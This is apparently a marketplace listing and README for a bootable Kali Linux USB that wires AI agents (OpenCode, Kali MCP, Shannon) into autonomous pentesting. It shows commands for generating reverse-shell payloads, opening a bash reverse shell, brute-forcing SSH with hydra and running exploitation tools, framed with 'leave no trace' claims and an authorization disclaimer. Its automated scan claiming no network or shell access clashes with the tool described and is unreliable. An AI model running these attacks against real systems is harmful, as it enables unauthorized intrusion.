# Kali Opencode Usb

> Bootable Kali Linux USB with AI-powered pentesting: OpenCode, CLI Agent, Kali MCP (35+ tools), and Shannon Plugin (autonomous pentesting with 600+ Docker tools). Boot anywhere, pentest everything, leave no trace.

- **Type:** MCP server
- **Install:** `agentstack add mcp-adarsh1y-kali-opencode-usb`
- **Verified:** Yes — security-reviewed for prompt injection and unsafe behavior
- **Seller:** [Adarsh1Y](https://agentstack.voostack.com/s/adarsh1y)
- **Installs:** 0
- **Category:** [Cloud & Infrastructure](https://agentstack.voostack.com/c/cloud-infrastructure)
- **Latest version:** 0.1.0
- **License:** MIT
- **Upstream author:** [Adarsh1Y](https://github.com/Adarsh1Y)
- **Source:** https://github.com/Adarsh1Y/kali-opencode-usb

## Install

```sh
agentstack add mcp-adarsh1y-kali-opencode-usb
```

Requires the [AgentStack CLI](https://agentstack.voostack.com/docs/cli). Works with Claude Code, Cursor, and any MCP-compatible agent.

## About

# 🗡️ Kali + OpenCode Portable Pentest USB

> **Boot anywhere. Pentest everything. Leave no trace.**

A bootable USB drive combining **Kali Linux Live** with **AI-powered pentesting tools**: OpenCode, CLI Agent, Kali MCP, and Shannon Plugin for autonomous penetration testing.

[](LICENSE)
[](https://kali.org)
[](https://opencode.ai)
[](https://github.com/amranu/cli-agent)
[](https://github.com/k3nn3dy-ai/kali-mcp)
[](https://github.com/vichhka-git/opencode-shannon-plugin)

---

## 🔥 Why This Exists

Traditional pentesting workflow problems:

| Problem | This Solution |
|---------|---------------|
| Tools scattered across machines | Single USB, everything pre-configured |
| Manual, repetitive recon workflows | AI tools automate workflows |
| Forgetting to document findings | Auto-documentation and reports |
| Leaving traces on client systems | Boot Live USB, nothing touches host disk |
| API dependency for AI tools | CLI Agent + Ollama work offline |
| Learning curve for tools | Kali MCP + Shannon expose tools via AI |
| Complex multi-stage attacks | Shannon handles autonomous pentesting |

---

## 📦 What You Get

- **Full Kali Linux** - Every pentest tool (nmap, metasploit, burp, hashcat, etc.)
- **OpenCode** - Modern AI CLI with plugins, MCP support, web UI
- **CLI Agent** - Lightweight AI agent with local Ollama model support
- **Kali MCP** - 35+ security tools as MCP tools
- **Shannon Plugin** - Autonomous pentesting with 600+ Docker tools + browser automation
- **Persistence** - Your configs, workflows, and findings survive reboots
- **Forensically Clean** - Remove USB, no trace on host (RAM only)

---

## 🤖 AI Tool Suite

### OpenCode (Cloud + Local)

```bash
opencode          # Start TUI
opencode web      # Start web interface
```

**Features:** TUI, web interface, MCP, plugins, multi-agent, GitHub integration

### CLI Agent (Local-First)

```bash
agent chat                              # Cloud API
agent chat --model ollama:llama3        # Offline with Ollama
```

### Kali MCP (35+ Security Tools)

```
/port_scan target=192.168.1.1 scan_type=quick
/dns_enum domain=example.com
/hydra_attack target=10.0.0.1 service=ssh
```

### Shannon Plugin (Autonomous Pentesting)

```bash
/shannon-scan target=example.com        # Full autonomous pentest
/shannon-recon target=example.com      # Reconnaissance only
/shannon-report                        # Generate professional report
```

**Shannon Tools:**
| Tool | Purpose |
|------|---------|
| `shannon_docker_init` | Start Docker container |
| `shannon_recon` | Recon (nmap, subfinder, whatweb) |
| `shannon_vuln_discovery` | Vulnerability scanning |
| `shannon_browser` | Playwright browser testing |
| `shannon_exploit` | Exploitation (authorized) |
| `shannon_report` | Generate professional reports |
| `shannon_idor_test` | IDOR vulnerability testing |
| `shannon_upload_test` | File upload testing |

**Shannon Bundled Tools:** nmap, sqlmap, nikto, nuclei, gobuster, ffuf, hydra, hashcat, gowitness, BrowserBruter, Playwright

---

## 🚀 Quick Start

### Build the USB

```bash
git clone https://github.com/Adarsh1Y/kali-opencode-usb.git
cd kali-opencode-usb
sudo ./build-usb.sh /dev/sdX
# Wait 10-20 minutes (downloads ~3GB Kali ISO)
```

### Boot

1. Plug USB into target machine
2. Boot from USB (F12/Del/Esc for boot menu)
3. Select **"Live USB Persistence"**
4. Login: `kali` / `kali`

### First Boot Setup

```bash
sudo bash ~/opencode-setup.sh
```

This installs:
- OpenCode
- CLI Agent
- Kali MCP
- Ollama (optional)

---

## 📁 Repository Structure

```
kali-opencode-usb/
├── build-usb.sh              # USB builder script
├── kali-mcp/                 # Kali MCP Server (35+ tools)
│   ├── kali_mcp_server/      # MCP tools implementation
│   ├── Dockerfile            # Docker container
│   └── README.md             # Kali MCP docs
├── opencode-shannon-plugin/   # Shannon Plugin (autonomous pentest)
│   ├── src/                  # Plugin source code
│   ├── Dockerfile             # Shannon Docker tools
│   └── README.md             # Shannon docs
├── cli-agent/                # CLI Agent (from ~/cli-agent)
├── postinstall/
│   ├── opencode-setup.sh     # First-boot setup
│   └── README-OPENCODE.txt   # Quick reference
├── scripts/
│   ├── backup-config.sh
│   └── deploy-node.sh
└── docs/
    ├── USAGE.md
    └── SECURITY.md
```

---

## 🔧 MCP Configuration

OpenCode is pre-configured with MCP servers and plugins:

```jsonc
// ~/.config/opencode/opencode.jsonc
{
  "mcp": {
    "cli-agent": {
      "type": "local",
      "command": ["~/cli-agent/.venv/bin/python", "~/cli-agent/mcp_server.py"],
      "enabled": true
    },
    "kali-mcp": {
      "type": "local",
      "command": ["~/kali-mcp/.venv/bin/python", "-m", "kali_mcp_server"],
      "enabled": true
    }
  },
  "plugin": [
    "~/opencode-shannon-plugin"
  ]
}
```

---

## 🛠️ Kali MCP Tools (35+)

### Network Tools
```bash
/port_scan target=192.168.1.1 scan_type=full
/network_discovery target=192.168.1.0/24 discovery_type=comprehensive
/dns_enum domain=example.com record_types=a,mx,ns,txt
/subdomain_enum url=https://example.com
```

### Web Application
```bash
/web_enumeration target=http://example.com enumeration_type=full
/vulnerability_scan target=example.com scan_type=comprehensive
/spider_website url=https://example.com depth=3
/header_analysis url=https://example.com
/ssl_analysis url=https://example.com port=443
```

### Exploitation
```bash
/exploit_search search_term="apache 2.4" search_type=web
/payload_generate payload_type=reverse_shell platform=linux lhost=YOUR_IP lport=4444 format=elf
/reverse_shell lhost=YOUR_IP shell_type=bash lport=4444
```

### Credentials
```bash
/hydra_attack target=192.168.1.1 service=ssh username=admin passlist=/usr/share/wordlists/rockyou.txt
/hash_identify hash_value=5d41402abc4b2a76b9719d911017c592
/encode_decode data="hello" operation=encode format=base64
```

### Session Management
```bash
/session_create session_name="client-audit" description="Q1 audit" target=example.com
/session_list
/session_switch session_name="client-audit"
/session_status
```

### Reporting
```bash
/create_report title="Security Assessment" findings="..." report_type=markdown
/save_output content="..." filename="notes" category="general"
/file_analysis filepath=/path/to/file
```

---

## 🏗️ Architecture

```
┌─────────────────────────────────────────────────────────┐
│                    USB Drive                            │
├─────────────────────────────────────────────────────────┤
│    [EFI Boot]  - Kali bootloader                        │
│    [Live ISO]  - Read-only Kali base system             │
│    [Persist]   - /home/kali/                            │
│      ├── .opencode/        - OpenCode config            │
│      ├── .config/opencode/ - MCP + Plugin config        │
│      ├── cli-agent/        - CLI Agent                  │
│      ├── kali-mcp/         - Kali MCP Server            │
│      ├── opencode-shannon/ - Shannon Plugin             │
│      └── shannon-tools     - Docker image (600+ tools)  │
└─────────────────────────────────────────────────────────┘
                           │
                           │ Boot on any x64 machine
                           ▼
┌─────────────────────────────────────────────────────┐
│              Your Portable Pentest Rig              │
│  • Full Kali toolset                                │
│  • OpenCode (cloud AI + orchestration)              │
│  • CLI Agent (offline AI with Ollama)               │
│  • Kali MCP (35+ security tools)                    │
│  • Shannon (autonomous pentesting)                  │
│  • Nothing touches host disk                        │
└─────────────────────────────────────────────────────┘

┌───────────────────────────────────────────────────────┐
│                    USB Drive                          │
├───────────────────────────────────────────────────────┤
│  [EFI Boot]  - Kali bootloader                        │
│  [Live ISO]  - Read-only Kali base system             │
│  [Persist]   - /home/kali/                            │
│     ├── .opencode/        - OpenCode config           │
│     ├── .config/opencode/ - MCP servers config        │
│     ├── cli-agent/        - CLI Agent                 │
│     ├── kali-mcp/         - Kali MCP Server           │
│     └── .openclaw/        - Ollama models (optional)  │
└───────────────────────────────────────────────────────┘
                           │
                           │ Boot on any x64 machine
                           ▼
┌───────────────────────────────────────────────────────┐
│              Your Portable Pentest Rig                │
│  • Full Kali toolset                                  │
│  • OpenCode (cloud AI + orchestration)                │
│  • CLI Agent (offline AI with Ollama)                 │
│  • Kali MCP (35+ security tools via AI)               │
│  • Nothing touches host disk                          │
└───────────────────────────────────────────────────────┘

---

## 🔐 Security Considerations

> ⚠️ **Only test systems you have written authorization to test.**

- Encrypt persistence partition for sensitive engagements
- Never leave USB unattended
- Use VPN for remote connections
- Document all authorization in memory files

---

## 🙏 Credits

Built with:
- **[Kali Linux](https://kali.org)** - Penetration testing distribution
- **[OpenCode](https://opencode.ai)** - Modern AI CLI
- **[CLI Agent](https://github.com/amranu/cli-agent)** - MCP-enabled AI assistant
- **[Kali MCP](https://github.com/k3nn3dy-ai/kali-mcp)** - 35+ security tools via MCP
- **[Shannon Plugin](https://github.com/vichhka-git/opencode-shannon-plugin)** - Autonomous pentesting
- **[Ollama](https://ollama.com)** - Local AI runtime

---

## 📬 Contact

- **GitHub:** [@Adarsh1Y](https://github.com/Adarsh1Y)
- **Discord:** [OpenCode Community](https://discord.gg/opencode)

---

> **Disclaimer:** This tool is for authorized security testing only.

## Source & license

This open-source MCP server is cataloged on AgentStack and links to its original source — we do not rehost the code.

- **Author:** [Adarsh1Y](https://github.com/Adarsh1Y)
- **Source:** [Adarsh1Y/kali-opencode-usb](https://github.com/Adarsh1Y/kali-opencode-usb)
- **License:** MIT

Install and usage instructions live in the source repository linked above.

## Pricing

- **Free** — Free

## Security capabilities

Automated source analysis of v0.1.0 — what this tool can access:

- **Network access:** no
- **Filesystem access:** no
- **Shell / process execution:** no
- **Environment & secrets:** no
- **Dynamic code execution:** no

*"Yes" means the capability is present in the source — more access means more to trust, not that it is unsafe.*


## Versions

- **0.1.0** — security scan: passed — Imported from the upstream source.

## Links

- Listing page: https://agentstack.voostack.com/l/mcp-adarsh1y-kali-opencode-usb
- Seller: https://agentstack.voostack.com/s/adarsh1y
- Browse the marketplace: https://agentstack.voostack.com/browse

---
Listed on AgentStack — the marketplace for AI agent skills and MCP servers. Every listing is security-reviewed. Creators keep 70%.